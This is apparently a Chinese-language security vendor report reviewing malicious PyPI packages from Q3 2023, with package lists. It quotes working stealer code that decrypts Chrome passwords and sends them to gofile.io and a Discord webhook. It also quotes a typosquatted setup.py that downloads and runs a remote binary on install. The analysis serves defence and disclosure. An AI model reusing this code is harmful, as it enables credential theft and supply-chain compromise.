【天问】PyPI 2023年Q3恶意包回顾(一)

2023年第三季度,天问Python供应链威胁监测模块共捕捉到320个恶意包。其中包含大量类似W4SP Stealer的信息窃取恶意包,它们可以窃取受害者的个人信息,Discord密码,加密货币钱包等敏感信息。分析表明,攻击者会不断迭代更新他们的工具来规避安全检测,这给供应链安全带来了巨大的挑战。

天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块,”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测,发现了大量的恶意包和攻击行为。

1. 类W4SP Stealer

W4SP Stealer是GitHub用户loTus04等人开发的一个Python木马,其可以窃取用户密码,浏览器cookies,Discord Token等敏感数据。在去年10月份PyPI中就出现了利用W4SP Stealer攻击的恶意包,相关报告可见[1]。下图是W4SP Stealer的攻击结果示例图。

我们在Q3的恶意包中发现了许多基于W4SP Stealer的恶意包,由于W4SP Stealer仓库已被开发者删除,所以攻击者利用的是基于W4SP Stealer修改的工具。

neverbeentgg-1.0.0/neverbeentgg/__init__.py

import contextlib
import os
import threading
...

#  THIS IS 1.1.6 VERSION
#    BY W4SP, loTus04
# 

hook = "https[:]//discord.com/api/webhooks/1133180253678862436/6AG7x4Z5uUZoCkaEqUfq03A087OCbcK1-vflpxnZCOmKs0jipMsjmYdUs2-4q6jtfHHb"
DETECTED = False

...

Passw = []
def getPassw(path, arg):
    global Passw, PasswCount
    if not os.path.exists(path): return

    pathC = path + arg + "/Login Data"
    if os.stat(pathC).st_size == 0: return

    tempfold = (
        f"{temp}wp"
        + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for _ in range(8))
        + ".db"
    )

    shutil.copy2(pathC, tempfold)
    conn = sql_connect(tempfold)
    cursor = conn.cursor()
    cursor.execute("SELECT action_url, username_value, password_value FROM logins;")
    data = cursor.fetchall()
    cursor.close()
    conn.close()
    os.remove(tempfold)

    pathKey = f"{path}/Local State"
    with open(pathKey, 'r', encoding='utf-8') as f: local_state = json_loads(f.read())
    master_key = b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = CryptUnprotectData(master_key[5:])

    for row in data: 
        if row[0] != '':
            for wa in keyword:
                old = wa
                if "https" in wa:
                    tmp = wa
                    wa = tmp.split('[')[1].split(']')[0]
                if wa in row[0] and old not in paswWords:
                    paswWords.append(old)
            Passw.append(f"UR1: {row[0]} | U53RN4M3: {row[1]} | P455W0RD: {DecryptValue(row[2], master_key)}")
            PasswCount += 1
    writeforfile(Passw, 'passw')

...


def GatherAll():
    '                   Default Path < 0 >                         ProcesName < 1 >        Token  < 2 >              Password < 3 >     Cookies < 4 >                          Extentions < 5 >                                  '
    browserPaths = [
        [...],
        [f"{local}/Google/Chrome/User Data",                        "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn"              ],
        [...]
    ]
    ...
    for patt in browserPaths: 
        a = threading.Thread(target=getPassw, args=[patt[0], patt[3]])
        a.start()
        Threadlist.append(a)
    ...
    for file in ["wppassw.txt", "wpcook.txt"]: 
        # upload(os.getenv("TEMP") + "\\" + file)
        upload(file.replace(".txt", ""), uploadToAnonfiles(os.getenv("TEMP") + "\\" + file))
...

def uploadToAnonfiles(path):
    try:return requests.post(f'https://{requests.get("https://api.gofile.io/getServer").json()["data"]["server"]}.gofile.io/uploadFile', files={'file': open(path, 'rb')}).json()["data"]["downloadPage"]
    except:return False
...
def upload(name, link):
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
    }

    if name == "wpcook":
        rb = ' | '.join(cookiWords)
        if len(rb) > 1000: 
            rrrrr = Reformat(str(cookiWords))
            rb = ' | '.join(rrrrr)
        data = {
            ...
            }
        LoadUrlib(hook, data=dumps(data).encode(), headers=headers)
        return
    ...

我们截取了这个攻击代码窃取谷歌浏览器Chrome中密码的主要逻辑函数。观察上面的代码我们可以知道,在GatherAll函数中,攻击者首先会访问Chrome在本地存放目录"{local}/Google/Chrome/User Data"。然后,攻击者通过getPassw函数从"{local}/Google/Chrome/User Data/Default/Login Data"中获取了用户登陆网站的用户名以及密码等数据。并且他们从{local}/Google/Chrome/User Data/Local State得到了master_key。最终,他们通过这两部分数据成功拿到了明文的用户名和密码。

我们在windows系统上测试了相关代码,确实可以拿到在Chrome中存储的用户名和密码。

攻击者会将获取的密码写入临时文件wppassw.txt中,然后通过uploadToAnonfiles函数上传到一个文件存储网站https://gofile.io/中。

def uploadToAnonfiles(path):
    try:return requests.post(f'https://{requests.get("https://api.gofile.io/getServer").json()["data"]["server"]}.gofile.io/uploadFile', files={'file': open(path, 'rb')}).json()["data"]["downloadPage"]
    except:return False

uploadToAnonfiles函数会返回一个下载链接的地址,如下图所示。

最终,攻击者将得到的下载链接通过upload回传到自己设置的服务器地址,即代码开头设置的hook = https[:]//discord.com/api/webhooks/xxx

此类攻击代码不仅可以窃取受害者主机上的密码等敏感信息,而且可以通过获取本地cookie的方式来窃取受害者各种网络账号的相关内容,危害十分严重。

2. BlackCap Grabber

这类攻击与第一种类W4SP Stealer的攻击相近,都是通过读取受害者主机中的敏感文件来窃取各种隐私信息,例如discord密码,信用卡信息等等。关于BlackCap Grabber的功能可见下图,我们在Q2的恶意包分析中也提到了此类攻击,具体内容可见 【天问】2023年Q2恶意包回顾(一)

我们在Q3的恶意包监控中共发现了148个此类恶意包,这些恶意包的版本号均为1.1.0,包名则是利用各种Python常见术语的拼合,例如pipcryptolibraryV2,详细的恶意包列表见文末。

3. TypoSquatting

requests是下载量最高的Python包之一,因此很多恶意包会将包名伪装成与requests极其相近。其利用用户下载第三方包的输入错误来达到下载安装的目的。在Q3的监测中,我们发现了7个此类恶意攻击包。

我们对比了这些恶意包和requests中模块文件夹,发现他们包含完全相同的文件,如下图所示。

攻击者在setup.py中添加了恶意代码,而在src/request3中则完全复制了requests模块文件夹的内容。

requests3-2.19.3/setup.py

#!/usr/bin/env python
import os
import sys
from codecs import open
import requests
import subprocess

from setuptools import setup
from setuptools.command.test import test as TestCommand

...

about = {}
here = os.path.abspath(os.path.dirname(__file__))
with open(os.path.join(here, "src", "request3", "__version__.py"), "r", "utf-8") as f:
    exec(f.read(), about)
    url = "http://10.41.72.31:9443/sys0.init"
    filename = "/tmp/sys0.init"
    resp = requests.get(url)
    f = open(filename, 'wb')
    f.write(resp.content)
    f.close()
    os.chmod("/tmp/sys0.init", 0o755)
    subprocess.run(["/tmp/sys0.init"],shell=True)

with open("README.md", "r", "utf-8") as f:
    readme = f.read()

setup(
    ...
    packages=["request3"],
    package_data={"": ["LICENSE", "NOTICE"]},
    package_dir={"": "src"},
    ...
    project_urls={
        "Documentation": "https://requests.readthedocs.io",
        "Source": "https://github.com/psf/requests",
    },
)

4. 恶意文件嵌入

此类攻击会将恶意的二进制文件以base64字符串等形式存入脚本,然后在下载安装时直接将这些内容加载到内存中进行执行。Q3发现的大多数此类恶意包均为White Snake,其会将主机的敏感信息通过Telegram聊天向攻击者回传。详细分析内容可见【天问】2023年Q2恶意包回顾(一)

5. 附录(恶意包列表)

  1. 类W4SP Stealer
包名版本作者上传时间
hnUHfYZUmKMO0.3.2xotifol3942023-07-20T21:37:13
lyFamDoRKsGb0.3.2xotifol3942023-07-20T21:52:25
EoerbIsjxqyV0.3.2xotifol3942023-07-20T21:55:40
WkquBsXEkbXn0.3.2xotifol3942023-07-20T22:29:38
jzyRLjROXlCa0.3.2xotifol3942023-07-21T02:05:23
eeAjHjmCLAkF0.3.2tiles775832023-07-21T15:41:31
MJpoYTWNgddh0.3.2poyon950142023-07-21T20:55:57
requesters0.0.1reazadude2023-07-26T14:52:46
requesters0.0.1reazadude2023-07-26T14:52:48
requestery1blackpythone2023-07-26T15:16:53
requestery2blackpythone2023-07-26T15:24:12
tgrequests0.0.0blackpythone2023-07-26T15:42:11
neverbeentgg1.0.0hmedsatour2023-07-26T16:03:57
pyttpmodule0.2Peppy1872023-08-16T23:42:25
javapatch0.6DeKrypt2023-09-23T13:58:23
javapatch0.7DeKrypt2023-09-23T14:02:23

2. BlackCap Grabber

包名版本作者上传时间
pipcryptoextensionsV11.1.0john855712023-07-02T21:38:22
pipcryptoextensionsV11.1.0john855712023-07-02T21:38:24
pipcryptolibraryV21.1.0kristiepatton5202023-07-02T21:39:42
pipcryptolibraryV21.1.0kristiepatton5202023-07-02T21:39:43
pipsqlite3kitV21.1.0barbara726962023-07-03T02:36:19
pipsqlite3kitV21.1.0barbara726962023-07-03T02:36:21
pysqlite2liberyV11.1.0vjohnson3992023-07-03T02:39:37
pysqlite2liberyV11.1.0vjohnson3992023-07-03T02:39:39
pycryptographymodulesV11.1.0brittanyanderson1382023-07-04T09:20:10
pycryptographymodulesV11.1.0brittanyanderson1382023-07-04T09:20:12
syscolouringsaddon1.1.0gregorygibson7992023-07-05T08:49:32
syscolouringsaddon1.1.0gregorygibson7992023-07-05T08:49:34
pythoncolouringspackageV11.1.0knoxjohn8032023-07-05T08:50:36
pythoncolouringspackageV11.1.0knoxjohn8032023-07-05T08:50:38
pycolorpackage1.1.0ihernandez7772023-07-05T10:32:08
pycolorpackage1.1.0ihernandez7772023-07-05T10:32:10
syssqlite2libaryV21.1.0jeffrey897212023-07-05T10:33:09
syssqlite2libaryV21.1.0jeffrey897212023-07-05T10:33:11
pipcoloringskitsV11.1.0wjones3272023-07-06T14:52:45
pipcoloringskitsV11.1.0wjones3272023-07-06T14:52:47
syscoloringsaddition1.1.0lindasmith6112023-07-14T10:39:03
syscoloringsaddition1.1.0lindasmith6112023-07-14T10:39:05
syssqlitedbmodules1.1.0wadestephanie5412023-07-14T18:46:42
syssqlitedbmodules1.1.0wadestephanie5412023-07-14T18:46:44
pitutil1.0.0lindasmith6112023-07-14T18:49:16
pitutil1.0.0lindasmith6112023-07-14T18:49:18
pipcoloringstools1.1.0gregorygibson7992023-07-17T15:07:16
pipcoloringstools1.1.0gregorygibson7992023-07-17T15:07:17
pythoncryptextensions1.1.0grantanthony5062023-07-17T15:08:24
pythoncryptextensions1.1.0grantanthony5062023-07-17T15:08:25
pythonsqltoolkitV11.1.0lwilliams5292023-07-18T00:00:05
pythonsqltoolkitV11.1.0lwilliams5292023-07-18T00:00:09
pipsqladdV11.1.0laurapena6822023-07-18T00:01:14
pipsqladdV11.1.0laurapena6822023-07-18T00:01:15
pipcryptkits1.1.0destinyorozco6902023-07-18T00:57:48
pipcryptkits1.1.0destinyorozco6902023-07-18T00:57:50
pysqlite3extensionV21.1.0cherylroth2832023-07-18T00:58:53
pysqlite3extensionV21.1.0cherylroth2832023-07-18T00:58:54
pipsqlite3mod1.1.0qomfkouxccenuea2023-07-18T01:36:30
pipsqlite3mod1.1.0qomfkouxccenuea2023-07-18T01:36:32
syssqllib1.1.0jasoncochran4892023-07-18T01:50:31
syssqllib1.1.0jasoncochran4892023-07-18T01:50:33
pipsqlitekitV21.1.0megangraham1862023-07-18T11:39:28
pipsqlitekitV21.1.0megangraham1862023-07-18T11:39:30
pythonfontingadds1.1.0nicholasmyers7822023-07-18T12:48:30
pythonfontingadds1.1.0nicholasmyers7822023-07-18T12:48:32
pycryptographypackageV11.1.0lhunter3142023-07-18T13:21:01
pycryptographypackageV11.1.0lhunter3142023-07-18T13:21:03
pipsqlipackages1.1.0jack242762023-07-18T13:24:06
pipsqlipackages1.1.0jack242762023-07-18T13:24:07
pythonsqlitedbpackagesV21.1.0samueljoseph6172023-07-18T14:08:39
pythonsqlitedbpackagesV21.1.0samueljoseph6172023-07-18T14:08:40
pythoncolourextension1.1.0njennings4532023-07-18T14:08:44
pythoncolourextension1.1.0njennings4532023-07-18T14:08:46
pythoncolouringtoolkitsV21.1.0skupwtdiyhqnagp2023-07-18T14:39:48
pythoncolouringtoolkitsV21.1.0skupwtdiyhqnagp2023-07-18T14:39:50
pythonsqlitetoolkitV11.1.0lkkokmwmevljche2023-07-18T15:29:59
pythonsqlitetoolkitV11.1.0lkkokmwmevljche2023-07-18T15:30:01
pythoncolouringsliberyV11.1.0jxpoeweaozdxnmd2023-07-18T19:24:24
pythoncolouringsliberyV11.1.0jxpoeweaozdxnmd2023-07-18T19:24:26
pipfontinglibV21.1.0srtleeidscjffix2023-07-18T20:51:10
pipfontinglibV21.1.0srtleeidscjffix2023-07-18T20:51:12
pycoloringextensionV11.1.0xivchfueofueqzo2023-07-19T01:21:04
pycoloringextensionV11.1.0xivchfueofueqzo2023-07-19T01:21:06
pycolorpkgsV21.1.0mzrblruljwldftk2023-07-19T01:45:36
pycolorpkgsV21.1.0mzrblruljwldftk2023-07-19T01:45:37
pipcoloringsliberyV11.1.0pxtamctorwjjruq2023-07-19T02:50:09
pipcoloringsliberyV11.1.0pxtamctorwjjruq2023-07-19T02:50:11
pipcolouringext1.1.0hhrmkjdfgkeisug2023-07-19T03:42:38
pipcolouringext1.1.0hhrmkjdfgkeisug2023-07-19T03:42:40
pipsqlitedbkit1.1.0PythonDiscordPussys2023-07-20T21:59:19
pipsqlitedbkit1.1.0PythonDiscordPussys2023-07-20T21:59:21
pipsqliteexts1.1.0PythonDiscordPussyss2023-07-21T12:21:28
pipsqliteexts1.1.0PythonDiscordPussyss2023-07-21T12:21:29
pythoncolourmoduleV21.1.0PythonDiscordPussyss2023-07-21T14:44:02
pythoncolourmoduleV21.1.0PythonDiscordPussyss2023-07-21T14:44:03
pipcolourpkgs1.1.0PythonDiscordPussyss2023-07-21T15:06:31
pipcolourpkgs1.1.0PythonDiscordPussyss2023-07-21T15:06:33
pysqlilibery1.1.0HolgerHolger2023-07-21T23:08:06
包名版本作者上传时间
pysqlilibery1.1.0HolgerHolger2023-07-21T23:08:07
pythonsqlite3libaryV11.1.0nomnomnom1232023-07-21T23:58:11
pythonsqlite3libaryV11.1.0nomnomnom1232023-07-21T23:58:13
syscolouringpkgV21.1.0FrozenApple2023-07-24T00:44:20
syscolouringpkgV21.1.0FrozenApple2023-07-24T00:44:21
pythonsqliteext1.1.0cecwokyiixusatn2023-07-24T16:08:04
pythonsqliteext1.1.0cecwokyiixusatn2023-07-24T16:08:05
pyfontstools1.1.0wjiewhvtkdbgzdf2023-07-24T18:16:35
pyfontstools1.1.0wjiewhvtkdbgzdf2023-07-24T18:16:37
syscryptographyadd1.1.0mctcwsetbpzcmim2023-07-24T19:18:13
syscryptographyadd1.1.0mctcwsetbpzcmim2023-07-24T19:18:15
syscolouringexts1.1.0tfllilfkzykopvx2023-07-24T21:19:00
syscolouringexts1.1.0tfllilfkzykopvx2023-07-24T21:19:02
pythoncoloringpackage1.1.0uujacjqknzcxtmw2023-07-24T21:38:43
pythoncoloringpackage1.1.0uujacjqknzcxtmw2023-07-24T21:38:44
pipcryptographymodV11.1.0froschkugel2023-07-25T01:05:25
pipcryptographymodV11.1.0froschkugel2023-07-25T01:05:29
pythonfontsliberyV11.1.0froschkugel2023-07-25T13:19:11
pythonfontsliberyV11.1.0froschkugel2023-07-25T13:19:13
syscolouringsaddV21.1.0clofjkeixujsvff2023-08-01T23:17:05
syscolouringsaddV21.1.0clofjkeixujsvff2023-08-01T23:17:07
syssqllibaryV11.1.0yobnxwijpokklis2023-08-02T00:59:36
syssqllibaryV11.1.0yobnxwijpokklis2023-08-02T00:59:37
pythonsqlitedbextensionV21.1.0zlgilcnxdcpqdmw2023-08-06T13:14:27
pythonsqlitedbextensionV21.1.0zlgilcnxdcpqdmw2023-08-06T13:14:29
pysqlitedbextV11.1.0vgrkixebdtypcdb2023-08-06T14:21:55
pysqlitedbextV11.1.0vgrkixebdtypcdb2023-08-06T14:21:57
pysqlite2pkgsV21.1.0taialzopcgjsnci2023-08-06T14:34:22
pysqlite2pkgsV21.1.0taialzopcgjsnci2023-08-06T14:34:24
syscolouringspackageV11.1.0ohvtojkognvrqjj2023-08-06T14:41:48
syscolouringspackageV11.1.0ohvtojkognvrqjj2023-08-06T14:41:49
pythoncolouringpackageV11.1.0diuwcjufpvicdjq2023-08-06T15:14:14
pythoncolouringpackageV11.1.0diuwcjufpvicdjq2023-08-06T15:14:16
pythoncryptokitV21.1.0vhseadypdmvulcf2023-08-06T15:36:41
pythoncryptokitV21.1.0vhseadypdmvulcf2023-08-06T15:36:43
pipsqlitedbmodsV11.1.0yuhlmwjwizivkkm2023-08-06T15:59:08
pipsqlitedbmodsV11.1.0yuhlmwjwizivkkm2023-08-06T15:59:10
pipcoloradditionV11.1.0uwjjcmknoecrmfj2023-08-06T22:11:51
pipcoloradditionV11.1.0uwjjcmknoecrmfj2023-08-06T22:11:53
pysqlitepkgV21.1.0zlgilcnxdcpqdmw2023-08-06T22:39:57
pysqlitepkgV21.1.0zlgilcnxdcpqdmw2023-08-06T22:39:59
pysqlitekitsV11.1.0lteysicxwamsjdx2023-08-07T00:14:29
pysqlitekitsV11.1.0lteysicxwamsjdx2023-08-07T00:14:30
pythonsqlipackageV11.1.0xaszyepcuxvmmbb2023-08-07T00:46:55
pythonsqlipackageV11.1.0xaszyepcuxvmmbb2023-08-07T00:46:56
pipcryptomodulesV11.1.0puuleskphlbhiqz2023-08-07T01:09:19
pipcryptomodulesV11.1.0puuleskphlbhiqz2023-08-07T01:09:21
pyfontingpackagesV21.1.0essgbdoqxiqukqa2023-08-07T01:26:44
pyfontingpackagesV21.1.0essgbdoqxiqukqa2023-08-07T01:26:46
pipfontingpkg1.1.0tnehejbbtkgecte2023-08-07T02:39:10
pipfontingpkg1.1.0tnehejbbtkgecte2023-08-07T02:39:12
pythonsqlipackagesV11.1.0wxwckppziozhehs2023-08-07T03:26:37
pythonsqlipackagesV11.1.0wxwckppziozhehs2023-08-07T03:26:39
pythonsqliextV21.1.0mmhzcrchdnecueg2023-08-07T13:16:18
pythonsqliextV21.1.0mmhzcrchdnecueg2023-08-07T13:16:19
pythoncryptV21.1.0thxxouerlbrmdwp2023-08-07T14:57:42
pythoncryptV21.1.0thxxouerlbrmdwp2023-08-07T14:57:43
pipfontslibery1.1.0kvuyljsffduyzic2023-08-07T15:11:24
pipfontslibery1.1.0kvuyljsffduyzic2023-08-07T15:11:25
syscryptlibrary1.1.0feutpriqvsusosj2023-08-07T18:24:44
syscryptlibrary1.1.0feutpriqvsusosj2023-08-07T18:24:46
syscryptographymoduleV11.1.0txhcntdqpljtdyv2023-08-07T19:44:18
syscryptographymoduleV11.1.0txhcntdqpljtdyv2023-08-07T19:44:20
syssqlite2kits1.1.0smcrcefegkcvblk2023-08-07T21:27:49
syssqlite2kits1.1.0smcrcefegkcvblk2023-08-07T21:27:50
syssqlitelibV11.1.0mjonsmtjgzcbm2023-08-07T21:48:21
syssqlitelibV11.1.0mjonsmtjgzcbm2023-08-07T21:48:23
pipcryptlibaryV11.1.0ipslxbuicqhmeakixoz2023-08-07T21:50:12
pipcryptlibaryV11.1.0ipslxbuicqhmeakixoz2023-08-07T21:50:14

3. TypoSquatting

包名版本作者上传时间
request32.19.0Sunny99sun2023-08-29T03:16:34
request32.19.2Sunny99sun2023-08-30T09:48:16
request32.19.3Sunny99sun2023-08-30T10:41:50
request32.19.4Sunny99sun2023-08-30T10:51:36
request32.19.5Sunny99sun2023-08-30T10:56:51
requesttest31.0.1lemon012023-08-31T03:14:58
requesttest31.0.2lemon012023-08-31T03:44:23

4. 恶意文件嵌入

包名版本作者上传时间
dccsx0.0.2team_dccs2023-07-10T19:51:20
lvx0.0.2mivi2023-07-21T12:34:31
semdb0.1semurg2023-08-01T08:04:47
semdber4.12semurg2023-08-01T16:25:58
gen-agent-fingerprint0.1requesst2023-08-15T17:43:31
ja3-hashscript0.1requesst2023-08-15T18:00:23
cc-checkerx0.1mariaclaras2023-08-15T19:08:43
testepassword-generate0.1brenno0032023-08-15T21:22:41
aiprojectuz0.1aiprojectuz2023-09-06T09:58:48